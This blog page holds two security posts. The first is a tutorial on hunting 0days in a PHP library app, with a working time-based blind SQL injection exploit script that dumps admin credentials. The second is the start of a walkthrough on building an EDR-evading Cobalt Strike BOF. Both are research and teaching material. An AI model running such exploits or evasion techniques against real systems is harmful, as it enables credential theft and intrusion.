Boku

Beginners Guide to 0day/CVE AppSec Research

2021-09-14T00:00:00+00:00

Blog Contributors: Adeeb Shah @hyd3sec & John Jackson(@johnjhacking)

About

A while ago I took up the challenge to get Offensive Security Web Expert (OSWE) certified. During this journey I learned many awesome things. The most important lesson learned was that with source code and a debugger, I could find vulnerabilities exponentially faster than by using traditional Blackbox/Bug-Bounty methods. This made me fall in love with hunting for 0days in web applications. While pursuing the OSWE, I took a very unorthodox approach. I read through the materials over, and over, and over, and over again. I took the methods that OffSec taught me, and rather than completing the coursework, I applied them to the real world.

This was one of the best things I ever did, and (with allot of luck) lead me to some awesome personal accomplishments:

Exploit research featured in Hack the Box Buff Box (Thanks Shaun!)
Exploit research featured in DEFCON Safe-Mode 2020
Exploit research featured in Offensive Security Proving Grounds
10+ Web Application Exploits published on Exploit-DB
20+ CVE’s
0-day discoveries
Critical vulnerabilities in private programs

My real-world web application xDev & security research started by setting up easy PHP web applications and conducting “free” Whitebox pen tests against them. When I’d find something, I’d write it up and ship it out to anywhere that would publish it. As I continued this journey, I progressed to harder and harder targets. My hope is that someone will find this blog post useful, and it will help them step into the world of security research and exploit development!!

Target Web Application Discovery

To start honing our Whitebox pentest skills, we’ll want an app which is easy to setup, and has some guaranteed vulns. Setting up the security research environment can be half the battle; best to take a walk, run approach. There are many websites online where developers publish and share their projects as they hone their dev skills. These websites, like SourceCodester.com, are great choices for stepping into the world of Whitebox web application pentesting.

Discovering a Target Application

Web applications written in PHP with a MySQL backend are typically easy to setup. We’ll go to SourceCodester.com and hunt for a juicy target app.

While browsing through the PHP Projects, we discover what looks to be like a juicy PHP/MySQL application “Library Management System Using PHP and MySQL with Source Code”. On the application info page, we see that there are instructions on how to run the application.

After reviewing the setup installation steps, we decide that setup will be trivial and this will be our target app. We download the application to our Kali box and begin the application setup.

Download Link - Library Management System Using PHP and MySQL with Source Code

Then we extract the ZIP file to our home path.

mkdir libraryApp && cd libraryApp/       
curl -o librarymanagement.zip https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip    
unzip librarymanagement.zip    

Application Environment Setup

Kali Linux typically has Apache installed out of the box. If Apache is not installed, then use the apt package management tool to install apache.

sudo apt update
sudo apt upgrade
sudo apt install apache2

Move or delete existing files in the /var/www/html/ directory. Then move the unzipped files there.

sudo rm -r /var/www/html/*
sudo mv LibraryManagement/ /var/www/html/

Start the MySQL service on your kali box.

sudo systemctl start mysql.service

Access the MySQL CLI as root.

# login to the MySQL service using as root user or by using sudo.
# The default username password for a fresh MySQL 
#   service on kali is user 'root' with password as nothing (blank)
sudo mysql -u root

Create a database named library_db.

MariaDB [(none)]> CREATE DATABASE library_db;
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library_db         |
| mysql              |
| performance_schema |
+--------------------+
# CTRL+C to exit and get back to a normal bash terminal

Import that SQL file from the PHP app into the newly created library_db database.

cd /var/www/html/LibraryManagement/
sudo mysql -u root -p library_db < library_db.sql
# Check that the DB imported correctly by viewing the tables
sudo mysql -u root
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library_db         |
| mysql              |
| performance_schema |
+--------------------+
MariaDB [(none)]> use library_db;
MariaDB [library_db]> show tables;
+----------------------+
| Tables_in_library_db |
+----------------------+
| admin                |
| books                |
| borrow               |
| news                 |
| students             |
+----------------------+

Start the Apache web server.

sudo systemctl start apache2.service

By default the webserver will be on localhost.

Go to http://localhost/LibraryManagement/ in your browser.

We will notice that the images are not loading. This is because Windows folder and file naming is case insensitive, whereas Linux is case sensitive. The developer created the /Ify/ folder with a capital I. To fix this problem for Linux, we simply change the name of the folder to lowercase.
```
sudo mv Ify/ ify
```

Returning to the website after making our fix, we will see the home page with the images rendering:

VSCode Debugger Setup

With the Apache server is running our target application, we’ll setup our VSCode debugger.

VSCode Installation on Kali Linux

On our Kali VM we will download the Debian package of VSCode.

Install the VSCode Debian file using dpkg.

cd ~/Downloads/
dpkg -i code_1.60.1-1631294805_amd64.deb

VSCode PHP Debug Extension Installation

Open VSCode. Select the Extensions tab from the left, search for the PHP Debug extension, and then install it.

Select the Explorer tab from the left, click the Open Folder button, and select the /var/www/html/LibraryManagement/ folder.

We are now able to see the applications PHP code within the VSCode Explorer:

`launch.json` Debugging Config File Creation

From the Explorer select the index.php file. Then select the Run and Debug tab from the left, and under the Run and Debug button click the create a launch.json file hyperlink.

If you have an issue with creating a launch.json file, it may be permissions related.
```
# fix permissions issue
chown -R kali:kali /var/www/html/
```

Default `launch.json` Config File

The default JSON config file should work out of the box for us. The port 9003 is the default XDebug port for version 3.X.

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003
        },
        {
            "name": "Launch currently open script",
            "type": "php",
            "request": "launch",
            "program": "${file}",
            "cwd": "${fileDirname}",
            "port": 0,
            "runtimeArgs": [
                "-dxdebug.start_with_request=yes"
            ],
            "env": {
                "XDEBUG_MODE": "debug,develop",
                "XDEBUG_CONFIG": "client_port=${port}"
            }
        },
        {
            "name": "Launch Built-in web server",
            "type": "php",
            "request": "launch",
            "runtimeArgs": [
                "-dxdebug.mode=debug",
                "-dxdebug.start_with_request=yes",
                "-S",
                "localhost:0"
            ],
            "program": "",
            "cwd": "${workspaceRoot}",
            "port": 9003,
            "serverReadyAction": {
                "pattern": "Development Server \\(http://localhost:([0-9]+)\\) started",
                "uriFormat": "http://localhost:%s",
                "action": "openExternally"
            }
        }
    ]
}

PHP-XDebug Installation

Now that we have VSCode setup with the PHP debugging extension, we will install the PHP XDebug package on our Kali Linux system. This will allow Apache, which is running the PHP code engine, to interface with our VSCode session for debugging.

sudo apt install php-xdebug -y

PHP Configuration File Modification

Since we are using Apache, we will be modifying the PHP config file for Apache.

Change directory to the /etc/php/{Version}/apache2/ folder.
Open the php.ini file with a text editor, add the following to the bottom, and save:

[xdebug]
xdebug.mode = debug
xdebug.start_with_request = yes
xdebug.idekey = VSCODE
xdebug.client_port = 9003
xdebug.client_host = "127.0.0.1"
xdebug.discover_client_host  = 1
xdebug.log="/tmp/xdebug.log"
xdebug.cli_color = 1

Some blog posts that may help you if you get stuck:

Restart Apache Service

With the changes made to the Apache PHP configuration, restart the Apache2 service using Systemd.

sudo systemctl restart apache2.service

Set Debugging Breakpoint

Now our Apache PHP engine should connect and communicate with our VSCode session for live debugging. To test that we’ve done everything correctly, we will open the index.php file in VSCode and set a breakpoint on the first valid PHP code line in the file. To set a breakpoint we will select line 11: require 'includes/snippet.php'; and press F9.

Breaking on that BP

With our breakpoint set, we will start our debugging session by click the green play button from the Run and Debug tab or by pressing F5.

To trigger the breakpoint, we’ll go to http://localhost/LibraryManagement/index.php in our browser.

Tabbing back to the VSCode window, we will see that we’ve hit our breakpoint in the debugger.

VSCode PHP Code Intelligence Setup

At this point we have the application, backend database, webserver debugging extension, and VSCode debugger setup and functional. Now we will be diving into debugging the code to discover security vulnerabilities. While performing a Whitebox pentest, you will need to discover what the functions in the code are. Once we understand what the functions and code are doing, we can then attempt to exploit it. Rather than flipping back and forth between our debugger and PHP documentation, we will install the PHP Code Intelligence extension for VSCode.

In VSCode, go to the Extensions and install PHP Intelephense.

With PHP Intelephense we can simply hover over PHP functions to see how they work, peek their definitions, or jump to where they are defined within the code.

Hover to see function definition:

Right-Click to jump to function definition:

Viewing the `sanitize()` functions source code:

Enable MySQL / MariaDB SQL Query Logging

With debugging setup, we will now enable SQL query logging. This will come in very handy when we are attempting to exploit SQL Injection vulnerabilities.

Modify MySQL Config

To enable SQL query logging we will add the below to the /etc/mysql/my.cnf MySQL configuration file:

[mysqld]
general_log = on
general_log_file=/var/log/mysql/mysql.log
skip-grant-tables

Next, we will restart the MySQL service with Systemd to apply our changes:

sudo systemctl restart mysql

Streaming MySQL Log Output

With MySQL logging enabled, we will tail the file and use the -f flag to continuously stream the output.

sudo tail -f /var/log/mysql/mysql.log

Now that we have SQL Query logging, we will visit the login.php page and submit credentials. We are able to see the backend SQL query that executes on the server live via our terminal window:

Vulnerability Hunting

We are finally to the fun part, Vulnerability Hunting! When searching for vulnerabilities we will start with the user-input, trace it source to sink, and follow the code to see if there is suspicious code. Once we find some suspect code that looks vulnerable, then we will use our setup to attempt to exploit it.

Searching for Post Params

Using VSCode, we will search for $_POST[. We will be looking for POST parameters which are not passed to the sanitized() function.

Discovering SQL Injection

Our first hunt returns successful! We see that the id parameter in the POST request to the fine-student.php webpage does not sanitize the user-input before passing it to the MySQL database! We see that the SQL Injection affects both a SELECT & UPDATE query!

We see that to hit the vulnerable code branch we will first need to supply the check POST parameter:

We setup our SQL injection request in BurpSuite:

In the VSCode debugger we set a breakpoint on line 22 of the fine-student.php file. We then send our burp request to trigger the breakpoint.

Once we hit the breakpoint, we walk through the code using F10 to Step Over the code. This means that we will execute the lines sequentially in front of us, but we will not Step Into things like functions which would jump us to different sections of code.

Once we get to line 40, we can hover over the $query and see what the SQL query is in the applications memory:

Looks allot like SQL Injection!

Next we will change up the payload to a URL-encoded:

inject' AND 1337=31337 union all select "HelloFriend" -- kamahamaha

Exploiting SQL Whitebox Style

In this section we will exploit the discovered blind SQL injection and write a python exploit.

Can’t Write a Webshell

If we were to have hosted this on Windows, we could simply inject into the SELECT statement and write a PHP webshell to the file system. Trying this in the MySQL CLI, we can see that on Linux this will not work. The mysql user does not have permissions to write to the Apache web servers path by default:

Since we cannot write a webshell for RCE, we will use this SQL Injection vulnerability to dump the data within the database. We’ll use our injection point to inject UNION SELECT statements that will read the admins password.

After testing our payload in BurpSuite, we discover that there is no difference in the server response based on our SQL Injection. If the responses contained the result of the SQL query, we could trivially dump the tables in the servers response. After investigating the code we see that the result of the SQL query is never injected into the HTML response, and does not differ based on SQL errors. Therefor we will use Time-Based Blind SQL Injection to exploit this vulnerability!

Looking in “the back of the book” for SQL Answers

We save some time, and just use the MySQL CLI to enumerate what the admin credentials table name is, and what the columns are:

We see that the admin credential table is named admin and the passwords are stored in the password column. The admin’s usernames are stored in the adminName column.

At this point we know that our injection statement looks like this:

SELECT returnDate from borrow where borrowId = '{INJECTION}';

We also see that the injectable query returns only 1 column returnDate from the borrow table. Therefor our UNION SELECT must also only return 1 column. For good practice, we will make sure that our borrowId injection parameter is false so only 1 value is returned.

Sleep for Passwords

We will use an IF() statement in our union query to check if we discovered the target character of the admins password. If we did guess the charater of the admins password correctly, the SQL database will sleep for 1 second.

Our Blind SQL Injection payload to read administrators password so far:

SELECT returnDate from borrow where borrowId = 'inject' UNION SELECT IF(SUBSTRING(password,1,1) = '{CHAR-WE-ARE-GUESSING}',sleep(1),null) FROM admin WHERE adminId=1;

When we guess that the first letter of the password for admin #1 is 2, the response is returned in 0.001 seconds.

When we guess that the first letter of the password for admin #1 is 1, the response is returned in 1.001 seconds. Using this method we can enumerate all the charaters of the admins password.

Testing our Sleep Payload in BurpSuite

Testing our payload in BurpSuite, we experience the same thing, a 1 second delay when we guess the first character of the admins password correctly:

Simple PoC To Exploit Sleep for Answers

We know all information points to build our exploit. First we’ll build and test that our exploit can determine when we hit a sleep (the right character).

This is the PoC I Built:

import requests
from colorama import Fore as F
from colorama import Back as B
from colorama import Style as S
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
    sqli  = 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(2),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def postRequest(URL,sqliReq,char,position):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    req     = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    print("{} : {}".format(char,req.elapsed.total_seconds()))

def theHarvester(target,CHARS,url):
    print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 5:
        for char in CHARS:
            sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
            postRequest(url,sqliReq,char,position)
        position += 1
    return theHarvest

if __name__ == "__main__":
    HOST  = "http://localhost"
    PATH  = HOST+"/LibraryManagement/fine-student.php"
    adminPassword  = { "id":"1", "table":"admin", "column":"password"}
    adminPass = theHarvester(adminPassword,chars,PATH)

You may need to install the module dependencies:

python3 -m pip install requests
python3 -m pip install colorama
python3 -m pip install argparse

We will also be running this through BurpSuite proxy at this point in our exploit development.

Running the exploit, we see that when we guess the correct character of the password, the time delay will be >1 second:

Look at that! Its the first char of the admin’s password 1!

At this point we could simply dump the password like this:

Add some 1337 to that Sploit

Now that we have it returning the password, lets make it more user friendly.

Code for the final exploit:

Make sure to come up with some ASCII art ;)

import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
    sqli  = 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(1),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    if pxy:
        req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    else:
        req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
    #print("{} : {}".format(char,req.elapsed.total_seconds()))
    return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
    #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 8:
        for char in CHARS:
            sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
            if postRequest(url,sqliReq,char,position,pxy) > 1:
                theHarvest += char
                break;
        position += 1
    return theHarvest

class userObj:
    def __init__(self,username,password):
        self.username = username
        self.password = password

class tableSize:
    def __init__(self,sizeU,sizeP):
        self.sizeU = sizeU
        self.sizeP = sizeP
        self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
        self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
    def printHeader(self):
        width = self.sizeU+self.sizeP+3
        print(BR+" "*width+ST)
        print(self.uTitle,self.pTitle)
        print(BR+" "*width+ST)

def printTableRow(user,size):
    username = user.username
    unLen = len(username)
    if unLen < size.sizeU:
        username = username+(" "*(size.sizeU - unLen))
    else:
        name = name[:size.sizeU]
    username += BR+" "+ST
    password = user.password
    pLen = len(password)
    if pLen < size.sizeP:
        password = password+(" "*(size.sizeP - pLen))
    else:
        password = password[:size.sizeP]
    password  += BR+" "+ST
    print(username,password)

def sig():
    SIG  = SB+FY+"         .-----.._       ,--.\n"
    SIG += FY+"         |  ..    >  ___ |  | .--.\n"
    SIG += FY+"         |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __\n"
    SIG += FY+"         |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\\n"
    SIG += FY+"         |  |>   )  "+FR+" * *"+FY+"   /    \\        \\\n"
    SIG += FY+"         |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+"             _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
    parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
    parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
    args = parser.parse_args()
    if args.proxy:
        regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'
        if re.match(regex,args.proxy,re.IGNORECASE):
            args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
        else:
            print('{}Error:   Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
            print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
            sys.exit(-1)
    else:
        proxy = False
    return args

if __name__ == "__main__":
    header = SB+FT+'               '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    print(sig())
    args   = argsetup()
    host   = args.targetHost
    pxy    = args.proxy
    admins = args.DumpXAdmins
    PATH   = host+"/LibraryManagement/fine-student.php"
    size  = tableSize(20,20)
    size.printHeader()
    dumpnumber = 1
    while dumpnumber <= admins:
        adminUsername  = { "id":dumpnumber, "table":"admin", "column":"username"}
        adminUsername  = theHarvester(adminUsername,chars,PATH,pxy)
        adminPassword  = { "id":dumpnumber, "table":"admin", "column":"password"}
        adminPass = theHarvester(adminPassword,chars,PATH,pxy)
        adminUser = userObj(adminUsername,adminPass)
        printTableRow(adminUser,size)
        # print("Admin's Username is: {}".format(adminUsername))
        # print("Admin's Password is: {}".format(adminPass))
        dumpnumber += 1

Running the exploit we are able to dump the admin credentials table!

Using the MySQL CLI we confirm that our exploit properly dumps the admin credentials:

Submitting the Exploit!

Now that we have a working exploit, lets submit it!

Adding the Header

We will add this to the top of exploit:

# Exploit Title: Library Management System v1.0 - Unauthenticated Blind Time-Based SQL Injection
# Exploit Author: Bobby Cooke (boku)
# Date: September 16, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Tested on: Kali Linux, Apache, Mysql
# Vendor: breakthrough2
# Version: v1.0
# Exploit Description:
#   Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.  

Submitting to Exploit-DB

Now we review the submission guidelines at Exploit-DB - Submissions.

We have saved the exploit as a file, and will email it to: Offsec Exploits submit@offensive-security.com

Discovering Broken Access Control

Another quick win is checking if the webpages check for session authentication before allowing access to the resource. This is a common vulnerability and has been categorized by OWASP as A5:2017-Broken Access Control. These vulnerabilities typically requiring a developer or code reviewer to know which pages are supposed to be public, and which require access controls. For this reason, SAST scanners are poor at detecting these vulnerabilities, and they can slip by undiscovered in a secure SDLC, right into production.

For PHP code pages like these, the logic for handling sessions and access controls is typically at the top. We can see by going to the admin.php page that the code logic which is supposed to protect this page from unauthenticated access is commented out:

Awesome we just got started and we’ve already found another vuln! We check to make sure this is the case by going to the /admin.php webpage in our browser:

Discover More Vulns!

Now continue on with this setup and discover more vulnerabilties!

When you make a discovery, try to get them published!

Make a proof of concept exploit and submit it to:

Exploit-DB - Submissions
packetstormsecurity
MITRE CVE Submission Form
- Follow Adeeb & I’s blog for more info on requesting a CVE from MITRE: A Simple Guide to Getting CVE’s
CXSecurity Submit

After knocking out some of the easier apps, move on to bigger open source projects. Get used to setting up applications for different environments like .NET, Java, Go, Python, ++. The harder the environment is to setup, the more likely it hasn’t been security tested. Good luck!

Creating the WhereAmI Cobalt Strike BOF

2021-08-19T00:00:00+00:00

Overview

This is a walkthrough of creating the Cobalt Strike Beacon Object File (BOF) “Where Am I?”

This idea was inspired by Matt Eidelberg’s DEF CON 29 talk Operation Bypass Catch My Payload If You Can.

In this talk, Matt shows how EDR heuristics can detect Cobalt Strike beacons based on their behavior.
Matt uses an example where after the beacon compromises the endpoint, the first thing it does is run the whoami.exe local binary.
This behavior of the host beacon process spawning a new whoami.exe process, triggers the EDR and the beacon is burned!
I’ve been doing allot of Windows Internals studying, and this video made a lightbulb go off.
I thought “Why not just get the whoami.exe info from the process? It’s already right there in the beacon processes memory!”

So that’s what I did! I created a Beacon Object File that grabs the information we’d want, right there from the beacon process memory!

Since the goal was to make it ninja/OPSEC safe, I figured why not just do it dynamically with Assembly? About halfway through creation, I bit the bullet and burned the extra time to make it into a blog post as well, so here it is!

For the full code to the project see the GitHub repo:

GitHub - boku7/whereami

I discovered that TrustedSec had already created a BOF for this, and of course they did because they are awesome! If you’d like to view their original work you can find it here: trustedsec/CS-Situational-Awareness-BOF/env

Our BOF Flow to get the Environment Variables Dynamically in Memory

Below is the high-level flow & WinDBG commands to map our path from the Thread Environment Block (TEB) to the Environment strings we will ultimately display in our Cobalt Strike interactive beacon console.

WinDBG has an awesome feature that allows you to supply it a structure & a memory address while debugging a process, and it will format the values there into the struct you supply.
To make our BOF work from anywhere in memory, we will use windows operating system functionality to get the TEB address, from the TEB we will get the Process Environment Block (PEB) address, from the PEB we will get the ProcessParameters struct address, and from the ProcessParameters struct we will get the address of the Environment string block & the size of the Environment string block.

TEB (GS Register) –> PEB –> ProcessParameters –> Environment Block Address & Environment Size

# TEB Address
0:000> !teb
TEB at 00000000002ae000
# PEB Address from TEB
0:000> dt !_TEB 2ae000
   +0x060 ProcessEnvironmentBlock : 0x00000000`002ad000 _PEB
# ProcessParamters Address from PEB
0:000> dt !_PEB 2ad000
   +0x020 ProcessParameters : 0x00000000`007423b0 _RTL_USER_PROCESS_PARAMETERS
# Environment Address & Size from ProcessParameters
0:000> dt !_RTL_USER_PROCESS_PARAMETERS 7423b0
   +0x080 Environment      : 0x00000000`00741130 Void
   +0x3f0 EnvironmentSize  : 0x124e

Note that even with ASLR off on your windows device, the TEB & PEB address will change pretty much everytime you create a new process.

Previewing Our Target Environment Strings with WinDBG

WinDBG has a built in feature !peb which will beautifully parse out the PEB structure as it exists in memory for us! By using this command we can neatly see all the Environment strings we will be hunting for when creating this BOF!

We can see that !peb command parses out the PEB structure and displays to us the Loader (Ldr) information, the address & resolved strings of the ProcessParameters struct, as well as the Environment information we are targeting.

Initial Setup

Boot up a windows box
Download and Install x64DBG
Download and install WinDBG
Make sure WinDBG symbols are setup
Open any executable PE file

If you’re wanting to conquer malware development and learn how to use x64dbg, then work through these epic courses first:

Sektor7 (@SEKTOR7net) - RED TEAM Operator: Malware Development Essentials & Intermediate Courses

If you are new to WinDBG check out this awesome course:

Pavel Yosifovich (@zodiacon) - WinDbg Fundamentals: User Mode

If you want to conquer Intel Assembly check out these great courses:

Pentester Academy - x86_64 Assembly Language and Shellcoding on Linux
Offensive Security - Windows User Mode Exploit Development

From TEB to PEB

The address of the Thread Environment Block (TEB) can be discovered from anywhere in memory by referencing the GS register for 64 bit, and the FS register for 32 bit. The TEB includes within it the address of the Process Environment Block (PEB). Therefor once we get the TEB using the GS/FS register, we can find the PEB. This walkthrough is for a x64 BOF, so we will be using the GS register.

Viewing the TEB in WinDBG

To see the TEB for our current thread in WinDBG, just use the !teb command. This displays the TEB for us nicely.

0:000> !teb
TEB at 00000000002ae000
    ExceptionList:        0000000000000000
    StackBase:            0000000000650000
    StackLimit:           000000000064d000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 00000000002ae000
    EnvironmentPointer:   0000000000000000
    ClientId:             00000000000008f0 . 0000000000001f30
    RpcHandle:            0000000000000000
    Tls Storage:          0000000000743340
    PEB Address:          00000000002ad000

We can see that the PEB Address is 0x2ad000 for our process.
Although we can see the PEB address here, we need to know the offset to the PEB Address pointer within the TEB, so we can do this programmatically in our BOF.

Parsing the TEB Structure in Memory

Using the TEB address we discovered by using the !teb command, we will feed that into the dt command and parse the memory at the TEB Address 0x2ae000 so we can discover the offset of the PEB Address.

0:000> dt !_TEB 2ae000
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : (null) 
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : (null) 
   +0x058 ThreadLocalStoragePointer : 0x00000000`00743340 Void
   +0x060 ProcessEnvironmentBlock : 0x00000000`002ad000 _PEB
...

We can see that the PEB Address is at an offset of +0x060 within the TEB.

Creating TEB to PEB Shellcode

Our goal is to do this in a Cobalt Strike Beacon Object File, so we will need to create the Assembly code to discover the PEB from the TEB programmatically. We will make sure this is Position Independent Code (PIC) by using the GS register to discover the TEB.

To test that this works, we will open our PE file in x64dbg.
x64dbg has advantages over WinDBG, and WinDBG has advantages over x64dbg. I switch between them allot depending on what I’m trying to do.
Set a break point anywhere. Then select the current line that RIP is on.
Press the spacebar and edit the assembly.

Editing Opcodes in memory with x64dbg

We will put 0x60 into the RAX register because we know that the PEB Address is at TEB+0x60.
For the next instruction put in mov rbx, gs:[rax].
- We are referencing the TEB address using the GS register. This is a Windows internals operating system functionality.
- We are telling the processor to move the 8-byte value at TEB+0x60 into the RBX register.
- Our PEB Adress is at TEB+0x60.
Now that we have our 2 instructions in, we press F7 to step forward and execute our instructions.
The address of the PEB is in RBX and is 0x31E000.

Confirming PEB Address

To confirm that our assembly code resolves the correct address of the PEB dynamically in memory we can confirm using the Memory Map tab.

Our Assembly Code So Far

mov rax, 0x60     // RAX = 0x60 = Offset of PEB Address within the TEB
mov rbx, gs:[rax] // RBX = PEB Address

From PEB to ProcessParameters

Get the Address of the PEB Again

Now that we have successfully discovered the path to get from any place in process memory to the PEB, we will work on the next goal. Which is getting from the PEB to the ProcessParameters struct. Saving our above PIC shellcode for later, we’ll close down x64dbg for now, and open a PE file in WinDBG. We’ll use WinDBG to walk the PEB struct for the ProcessParameters struct address.

Since we are launching a new process, the address of the PEB has changed. We will get this new PEB address to continue our path discovery. This time we will just use the !peb command and skip the TEB stuff as we’ve already figured that out.

in WinDBG enter the !peb command in the console to get the address of the PEB in memory

0:000> !peb
PEB at 00000000002ad000

Walk the PEB Struct to find ProcessParameters Struct

The Process Environment Block (PEB) contains allot of information. Right now, we are discovering where the ProcessParameters struct exists within the PEB. We will note the offset: +0x020 ProcessParameters.

0:000> dt !_PEB 00000000002ad000
ntdll!_PEB
...
   +0x010 ImageBaseAddress : 0x00000000`00400000 Void
   +0x018 Ldr              : 0x00007ffb`01f9a4c0 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x00000000`007423b0 _RTL_USER_PROCESS_PARAMETERS
...

From ProcessParameters to Environment

Walk the ProcessParameters Struct to find our Environment

From the ProcessParameters Struct we will want to note the pointer to the Environment and the EnvironmentSize.

0:000> dx -r1 ((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x7423b0)
((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x7423b0)                 : 0x7423b0 [Type: _RTL_USER_PROCESS_PARAMETERS *]
...
    [+0x080] Environment      : 0x741130 [Type: void *]
...
    [+0x3f0] EnvironmentSize  : 0x124e [Type: unsigned __int64]

Now we know that the Environment is at address 0x741130.
The size of the Environment is 0x124e (4686 bytes)

Viewing the Environment Unicode Strings

Now that we know the address and size of the Environment, we can view the memory at that address to confirm

0:000> db 0x741130 0x741130+0x124e
00000000`00741130  3d 00 3a 00 3a 00 3d 00-3a 00 3a 00 5c 00 00 00  =.:.:.=.:.:.\...
00000000`00741140  41 00 4c 00 4c 00 55 00-53 00 45 00 52 00 53 00  A.L.L.U.S.E.R.S.
00000000`00741150  50 00 52 00 4f 00 46 00-49 00 4c 00 45 00 3d 00  P.R.O.F.I.L.E.=.
00000000`00741160  43 00 3a 00 5c 00 50 00-72 00 6f 00 67 00 72 00  C.:.\.P.r.o.g.r.
00000000`00741170  61 00 6d 00 44 00 61 00-74 00 61 00 00 00 41 00  a.m.D.a.t.a...A.
00000000`00741180  50 00 50 00 44 00 41 00-54 00 41 00 3d 00 43 00  P.P.D.A.T.A.=.C.
00000000`00741190  3a 00 5c 00 55 00 73 00-65 00 72 00 73 00 5c 00  :.\.U.s.e.r.s.\.
00000000`007411a0  62 00 6f 00 6b 00 75 00-5c 00 41 00 70 00 70 00  b.o.k.u.\.A.p.p.
00000000`007411b0  44 00 61 00 74 00 61 00-5c 00 52 00 6f 00 61 00  D.a.t.a.\.R.o.a.
00000000`007411c0  6d 00 69 00 6e 00 67 00-00 00 43 00 68 00 6f 00  m.i.n.g...C.h.o.
